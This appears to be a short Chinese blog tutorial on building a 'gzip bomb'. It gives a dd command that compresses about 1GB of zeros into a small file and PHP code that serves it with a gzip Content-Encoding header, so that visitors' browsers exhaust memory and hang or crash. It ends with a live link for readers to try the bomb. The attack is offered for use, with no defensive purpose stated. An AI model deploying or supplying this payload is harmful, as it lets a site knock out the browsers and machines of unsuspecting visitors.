网站gzip炸弹

HTTP/1.1 协议中规定了一种利用通过GZIP压缩网络内容减少传输数据大小的技术
网站上的内容以GZIP格式压缩,下载到浏览器后再解压出来显示

如果构造一种压缩比率非常高的GZIP内容,如把1GB的图片压缩到1MB,在浏览器端因为解压消耗内容过大,或者使用缓存超过了一定程度,就会卡死甚至死机

构造高压缩比的GZIP文件并非难事,因为冗余的数据压缩比很高,在图片数据中插入大量重复内容的数据就能制造出超高压缩比的文件。如果构造出超高分辨率的图片效果就更明显了。

1,产生一个压缩文件
这里先产生一个小文件


dd if=/dev/zero bs=1M count=1000 |gzip > big.gzip

2,创建一个链接


<?php

header("Content-Encoding: gzip");
header("Content-Length: ".filesize('big.gzip'));
//关闭缓冲区
if(ob_get_level()) {
    ob_end_clean();
}
readfile('big.gzip');

3,访问链接试一下:
http://www.dadaaierer.com/bomb.php